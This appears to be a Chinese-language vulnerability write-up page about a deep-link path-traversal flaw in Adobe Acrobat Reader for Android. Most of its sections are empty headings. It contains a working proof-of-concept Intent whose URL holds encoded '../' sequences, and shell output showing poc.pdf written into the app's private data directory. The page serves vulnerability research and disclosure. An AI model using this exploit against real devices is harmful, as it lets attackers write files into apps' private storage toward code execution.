[Adobe] [Acrobat Reader] AdobeReader处理DeepLink时未正确进行合法性校验导致下载PDF文件过程出现路径穿越可造成远程代码执行
日期
版本
描述
作者
0x00 漏洞概述
0x01 触发条件
上线时间
应用名
包名
版本号
MD5
下载链接
0x02 PoC
Intent intent = new Intent();
intent.setClassName("com.adobe.reader", "com.adobe.reader.AdobeReader");
intent.setDataAndType(Uri.parse("http://192.168.0.102:8000/..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.adobe.reader%2Fpoc.pdf"), "application/*");
intent.putExtra("hideOptionalScreen", "true");
startActivity(intent);crosshatch:/data/data/com.adobe.reader # ls -al
total 237
drwx------ 11 u0_a163 u0_a163 3488 2022-03-09 03:31 .
drwxrwx--x 203 system system 24576 2022-03-07 02:14 ..
drwxrwx--x 3 u0_a163 u0_a163 3488 2022-03-07 02:16 app_com_birbit_jobqueue_jobs
drwxrwx--x 2 u0_a163 u0_a163 3488 2022-03-07 02:16 app_textures
drwxrwx--x 5 u0_a163 u0_a163 3488 2022-03-07 02:16 app_webview
drwxrws--x 52 u0_a163 u0_a163_cache 8192 2022-03-09 03:31 cache
drwxrws--x 2 u0_a163 u0_a163_cache 3488 2022-03-07 02:14 code_cache
drwxrwx--x 2 u0_a163 u0_a163 8192 2022-03-09 03:31 databases
drwxrwx--x 10 u0_a163 u0_a163 3488 2022-03-09 03:31 files
drwxrwx--x 2 u0_a163 u0_a163 3488 2022-03-07 02:16 no_backup
-rw------- 1 u0_a163 u0_a163 176936 2022-03-09 03:31 poc.pdf // <--
drwxrwx--x 2 u0_a163 u0_a163 4096 2022-03-09 03:31 shared_prefs0x03 前置知识
0x04 Root Cause
0x05 漏洞调试与利用
0x06 漏洞研究
0x07 References
附录:调试过程记录
Previous[ByteDance] [TikTok] WallPaperDataProvider导出存在任意私有文件读取漏洞Next[CVE-2019-16253] [Samsung] [SMT] SamsungTTSService导出存在任意私有组件调用提权漏洞
Last updated